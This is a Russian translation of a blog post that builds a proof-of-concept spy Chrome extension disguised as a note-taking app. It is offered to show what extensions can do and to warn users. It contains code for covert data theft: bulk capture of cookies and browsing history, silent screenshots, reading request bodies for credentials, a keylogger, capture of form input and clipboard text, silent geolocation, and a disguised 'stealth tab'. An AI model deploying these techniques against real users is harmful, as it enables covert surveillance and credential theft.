Пусть Manifest v3 и ограничил возможности браузерных расширений, но я считаю, что они далеко не исчерпаны. Чтобы доказать это, создадим расширение Chrome, крадущее максимально возможное количество данных.
Мы добьёмся двух целей:
- Исследуем грани возможного для расширений Chrome
- Продемонстрируем, что вы подвержены опасности, если не будете аккуратны с тем, что устанавливаете.
Примечание: на самом деле реализация этого расширения — злодейство. Вам не следует использовать в злонамеренных целях полномочия расширений, красть пользовательские данные и создавать зловредные браузерные расширения. Любые реализации, производные расширения или применение этих техник без разрешения Национальной баскетбольной ассоциации не рекомендуются.
Основные правила
- Пользователь не должен подозревать, что за кулисами что-то происходит.
- Не должно быть никаких визуальных признаков происходящего.
- Никаких лишних сообщений, предупреждений или ошибок в консоли.
- Никаких дополнительных браузерных предупреждений или диалоговых окон с запросом разрешений.
- Никакого лишнего сетевого трафика на уровне страницы.
- Как только пользователь даст разрешение в ответ на запрос широких полномочий, он должен забыть о правах доступа расширения.
Краткое введение в расширения Chrome
Существует три компонента, которые важны для нашего злодейского расширения:
Background Service Worker (воркер фонового сервиса)
- Управляется событиями. Может использоваться как «сохраняемый» контейнер для выполнения JavaScript
- Может получать доступ ко всем* WebExtensions API
- Не может получать доступ к DOM API
- Не может напрямую получать доступ к страницам
Всплывающая страница
- Открывается только после действий пользователя
- Может получать доступ ко всем* WebExtensions API
- Может получать доступ к DOM API
- Не может напрямую получать доступ к страницам
Content Script (скрипт контента)
- Имеет прямой и полный доступ ко всем страницам и DOM
- Может выполнять JavaScript на странице, однако в среде песочницы
- Может использовать только подмножество WebExtensions API
- Имеет те же ограничения, что и страница (CORS и так далее)
*Присутствуют незначительные ограничения
Получаем глобальные разрешения
Просто для развлечения наше зловредное расширение будет запрашивать все возможные разрешения. На странице https://developer.chrome.com/docs/extensions/mv3/declare_permissions/ есть список разрешений расширений Chrome, и мы воспользуемся многими из них.
Убрав все разрешения, которые не поддерживает Chrome, мы получим следующее:
{
...
"host_permissions": ["<all_urls>"],
"permissions": [
"activeTab",
"alarms",
"background",
"bookmarks",
"browsingData",
"clipboardRead",
"clipboardWrite",
"contentSettings",
"contextMenus",
"cookies",
"debugger",
"declarativeContent",
"declarativeNetRequest",
"declarativeNetRequestWithHostAccess",
"declarativeNetRequestFeedback",
"desktopCapture",
"downloads",
"fontSettings",
"gcm",
"geolocation",
"history",
"identity",
"idle",
"management",
"nativeMessaging",
"notifications",
"pageCapture",
"power",
"printerProvider",
"privacy",
"proxy",
"scripting",
"search",
"sessions",
"storage",
"system.cpu",
"system.display",
"system.memory",
"system.storage",
"tabCapture",
"tabGroups",
"tabs",
"tabs",
"topSites",
"tts",
"ttsEngine",
"unlimitedStorage",
"webNavigation",
"webRequest"
],
}
manifest.json
Большинство из этих разрешений не потребуется, но кого это волнует? Давайте взглянем, как будет выглядеть окно предупреждения:
Chrome скроллит контейнер окна предупреждения о запросе разрешений, поэтому больше половины предупреждений даже не отображается. Я думаю, что большинство пользователей даже не задумается, стоит ли устанавливать приложение, которое, похоже, запрашивает всего пять разрешений.
Полный список предупреждения о разрешениях выглядит так:
- То, что мы видим в диалоговом окне:
- Доступ к бэкенду отладчика страниц
- Считывание и изменение всех данных пользователя на веб-сайтах
- Определение физического местоположения
- Считывание и изменение истории просмотров на всех устройствах, где выполнен вход
- Отображение уведомлений
- То, что скрыто:
- Считывание и изменение закладок
- Считывание и изменение копируемых и вставляемых данных
- Захват содержимого экрана
- Управление загрузками
- Определение и извлечение накопителей
- Изменение параметров доступа веб-сайтов к таким функциям, как куки, JavaScript, плагины, геолокация, микрофон, камера и так далее
- Управление приложениями, расширениями и темами
- Обмен данными с взаимодействующими нативными приложениями
- Изменение параметров, связанных с конфиденциальностью
- Просмотр групп вкладок и управление ими
- Считывание всего текста при помощи синтезатора речи
Давайте добавим скрипт контента, работающий на всех страницах и фреймах, расширим область действия нашего расширения до окон режима «Инкогнито» и сделаем все ресурсы доступными на случай, если они нам понадобятся:
{
...
"web_accessible_resources": [
{
"resources": ["*"],
"matches": ["<all_urls>"]
}
],
"content_scripts": [
{
"matches": ["<all_urls>"],
"all_frames": true,
"css": [],
"js": ["content-script.js"],
"run_at": "document_end"
}
],
"incognito": "spanning",
}
manifest.json
Фасад расширения
Наше зловещее расширение будет притворяться приложением для создания заметок:
Благодаря этому страница расширения будет открываться часто, что позволяет нам незаметно выполнять зловредный сбор данных. Также мы используем воркер фонового сервиса.
Аналитика и извлечение данных
Жизнь коротка, Интернет быстр, а накопители дёшевы. Любые данные, которые решит собирать наше расширение, могут быть отправлены на контролируемый нами сервер при помощи воркера фонового сервиса, а пользователь даже не догадается об этом. Эти сетевые запросы отобразятся, только если он решит исследовать сетевую активность самого расширения, до которой довольно сложно добраться. Хотите добавить постоянное слежение за пользователем на веб-страницах? Никаких проблем! На сетевой трафик от фоновой страницы не обращают внимания блокировщики рекламы и другие расширения для защиты конфиденциальности пользователей, поэтому ради бога, отслеживайте каждый щелчок и нажатие клавиши. (Внешние менеджеры сетевого трафика и программы наподобие PiHole будут отслеживать это.)
Очень лёгкая добыча
WebExtensions API сразу же позволяет собирать нам довольно много информации почти без малейших усилий.
Куки
chrome.cookies.getAll({})
получает в виде массива все куки браузера.
История
chrome.history.search({ text: "" })
получает в виде массива всю историю просмотров пользователя.
Скриншоты
chrome.tabs.captureVisibleTab()
втихомолку делает скриншот того, что в данный момент видит пользователь. Мы можем вызывать эту функцию в любое время при помощи сообщений, отправляемых из скрипта контента, или даже чаще для URL, которые нам кажутся ценными. API возвращает изображение в виде удобных строк данных URL, поэтому очень легко передать его в нашу конечную точку сбора данных. Делают ли браузерные расширения захват вашего экрана прямо сейчас? Вы никогда этого не узнаете!
Пользовательская навигация
Можно использовать webNavigation
API для удобного отслеживания действий пользователя в реальном времени:
chrome.webNavigation.onCompleted.addListener((details) => {
// {
// "documentId": "F5009EFE5D3C074730E67F5C1D934C0A",
// "documentLifecycle": "active",
// "frameId": 0,
// "frameType": "outermost_frame",
// "parentFrameId": -1,
// "processId": 139,
// "tabId": 174034187,
// "timeStamp": 1676958729790.8088,
// "url": "https://www.linkedin.com/feed/"
// }
});
background.js
Трафик страниц
webRequest
API позволяет нам просматривать весь сетевой трафик каждой вкладки, отделять сетевой трафик при помощи requestBody
и извлекать интересные учётные данные, адреса и так далее:
chrome.webRequest.onBeforeRequest.addListener(
(details) => {
if (details.requestBody) {
// Захват данных requestBody
}
},
{
urls: ["<all_urls>"],
},
["requestBody"]
);
background.js
Кейлоггер
Так как скрипт контента выполняется на каждой странице, считывать нажатия клавиш чертовски легко. Создание буфера нажатия клавиш с периодическим сбросом данных предоставит нам удобную возможность чтения последовательных нажатий клавиш.
let buffer = "";
const debouncedCaptureKeylogBuffer = _.debounce(async () => {
if (buffer.length > 0) {
// Сбрасываем буфер
buffer = "";
}
}, 1000);
document.addEventListener("keyup", (e: KeyboardEvent) => {
buffer += e.key;
debouncedCaptureKeylogBuffer();
});
content-script.js
Захват ввода
Из скрипта контента можно прослушивать события input
любых элементов с возможностью редактирования и захватывать их значение.
[...document.querySelectorAll("input,textarea,[contenteditable]")].map((input) =>
input.addEventListener("input", _.debounce((e) => {
// Считываем введённое значение
}, 1000))
);
content-script.js
Если мы ожидаем, что DOM страницы будет часто меняться (например, при помощи SPA), то нам определённо не стоит упускать любые ценные данные. Просто установим MutationObserver
для наблюдения за целой страницей и при необходимости будем повторно применять слушателей.
const inputs: WeakSet<Element> = new WeakSet();
const debouncedHandler = _.debounce(() => {
[...document.querySelectorAll("input,textarea,[contenteditable")]
.filter((input: Element) => !inputs.has(input))
.map((input) => {
input.addEventListener(
"input",
_.debounce((e) => {
// Считываем введённое значение
}, 1000)
);
inputs.add(input);
});
}, 1000);
const observer = new MutationObserver(() => debouncedHandler());
observer.observe(document.body, { subtree: true, childList: true });
content-script.js
Захват буфера обмена
С этим всё чуть сложнее. navigator.clipboard.read()
и любой другой метод Clipboard API отображает пользователю диалоговое окно с запросом разрешения, так что этот способ нам не подходит.
Использование document.execCommand("paste")
для выполнения дампа буфера обмена в скрытое поле ввода работает ненадёжно, поэтому придётся сохранять со страницы выбранный текст.
document.addEventListener("copy", () => {
const selected = window.getSelection()?.toString();
// Захватываем выбранный текст при событиях копирования
});
content-script.js (Примечание: мне не очень нравится такое решение, но пока его вполне достаточно.)
Захват геолокации
Выполнять захват геолокации сложнее всего, это связано с ограничениями Chrome на то, когда и как она может захватываться. Добавление разрешения geolocation
позволяет нам только захватывать местоположение внутри страницы расширения, но не из скриптов контента. Если всплывающее окно открывается достаточно часто, этого может быть достаточно.
navigator.geolocation.getCurrentPosition(
(position) => {
// Захватываем геопозицию
},
(e) => {},
{
enableHighAccuracy: true,
timeout: 5000,
maximumAge: 0,
}
);
popup.js
Если нам нужно больше данных о геолокации, нужно будет поработать со скриптом контента. Необходимо помешать браузеру генерировать диалоговое окно с запросом разрешения, поэтому сначала мы проверяем, есть ли у страницы уже разрешение на получение геолокации. Если оно есть, мы можем втихомолку запрашивать местоположение.
navigator.permissions
.query({ name: "geolocation" })
.then(({ state }: { state: string }) => {
if (state === "granted") {
captureGeolocation();
}
});
content-script.js
Вкладка-ниндзя
Если вы похожи на меня, то у вас открыта целая куча вкладок. Большинство вкладок длительное время простаивает, и Chrome с готовностью демонтирует простаивающие вкладки, чтобы освободить ресурсы системы. Допустим, нам нужно открыть страницу расширения во вкладке так, чтобы этого не заметил пользователь. Допустим, мы хотим выполнить какую-то дополнительную обработку на уровне страниц при помощи WebExtensions API. При открытии и закрытии новой вкладки на панели вкладок будет заметна активность, поэтому это будет слишком подозрительно. Вместо этого давайте используем имеющуюся вкладку, чтобы она казалась старой вкладкой. Это может работать следующим образом:
- Находим подходящую вкладку, на которую пользователь не обращает внимания.
- Записываем её URL, URL фавиконки и заголовок.
- Заменяем эту вкладку страницей расширения и немедленно заменяем фавиконку и заголовок, чтобы она напоминала исходную вкладку.
- Творим тёмные дела.
- После завершения работы страницы или когда пользователь открывает вкладку, переходим к исходному URL.
Давайте создадим proof of concept. Вот пример фонового скрипта для открытия вкладки-ниндзя:
export async function openStealthTab() {
const tabs = await chrome.tabs.query({
// Не использовать вкладку, которую смотрит пользователь
active: false,
// Не использовать закреплённые вкладки, вероятно, их часто используют
pinned: false,
// Не использовать вкладку, воспроизводящую звук
audible: false,
// Не использовать вкладку, пока она не завершила загрузку
status: "complete",
});
const [eligibleTab] = tabs.filter((tab) => {
// Должна иметь url и id
if (!tab.id || !tab.url) {
return false;
}
// Не использовать страницы расширений
if (new URL(tab.url).protocol === "chrome-extension:") {
return false;
}
return true;
});
if (eligibleTab) {
// Эти значения будут использоваться для спуфинга текущей страницы
// и возврата к ней
const searchParams = new URLSearchParams({
returnUrl: eligibleTab.url as string,
faviconUrl: eligibleTab.favIconUrl || "",
title: eligibleTab.title || "",
});
const url = `${chrome.runtime.getURL(
"stealth-tab.html"
)}?${searchParams.toString()}`;
// Открываем вкладку-ниндзя
await chrome.tabs.update(eligibleTab.id, {
url,
active: false,
});
}
}
background.js
А вот скрипт вкладки-ниндзя:
const searchParams = new URL(window.location.href).searchParams;
// Выполняем спуфинг внешнего вида предыдущей вкладки страницы
document.title = searchParams.get('title');
document.querySelector(`link[rel="icon"]`)
.setAttribute("href", searchParams.get('faviconUrl'));
function useReturnUrl() {
// Пользователь переключился на эту вкладку, бежим!
window.location.href = searchParams.get('returnUrl');
}
// Проверяем, видима ли эта страница при загрузке
if (document.visibilityState === "visible") {
useReturnUrl();
}
document.addEventListener("visibilitychange", () => useReturnUrl());
// А теперь творим тёмные дела
// Закончили с тёмными делами, выполняем возврат!
useReturnUrl();
stealth-tab.js
Совершенно ничего подозрительного!
Публикуемся в Chrome Web Store
Конечно, я шучу. Это расширение с позором выгонят из очереди проверки. Разумеется, это просто карикатура на зловредное расширение, но безумно ли считать, что часть его функциональности можно использовать? При установке расширения Chrome, кажущегося надёжным (что бы это ни значило), большинство пользователей игнорирует сообщения с предупреждениями о запросах разрешений, какими страшными бы они ни были. После того, как вы выдали разрешения, ваша судьба находится в руках расширения. Наверно, вы думаете: «Автор, но это точно не про меня! Я опытный пользователь, аккуратный, разборчивый и педантичный. Со мной никто такого не сможет проделать». В таком случае, мой педантичный друг, ответьте-ка на вопросы:
- Сможете ли вы не глядя назвать больше половины расширений, которые у тебя сейчас установлены?
- Кто занимается их поддержкой? Это тот же самый человек или организация, что и были при установке расширения? Вы в этом уверены?
- Вы действительно тщательно изучали их разрешения?
Попробуйте сами, если осмелитесь
Попробовать Spy Extension можно здесь: https://github.com/msfrisbie/spy-extension. Я добавил страницу опций, чтобы вы могли видеть все похищенные данные, которые расширение способно вытянуть из вашего браузера. Я не буду выкладывать скриншот; достаточно сказать, что содержимое страницы немного компрометирующее. Никакая собранная информация не покидает пределов браузера. Или покидает? (Нет, не покидает.)
Автор:
PatientZero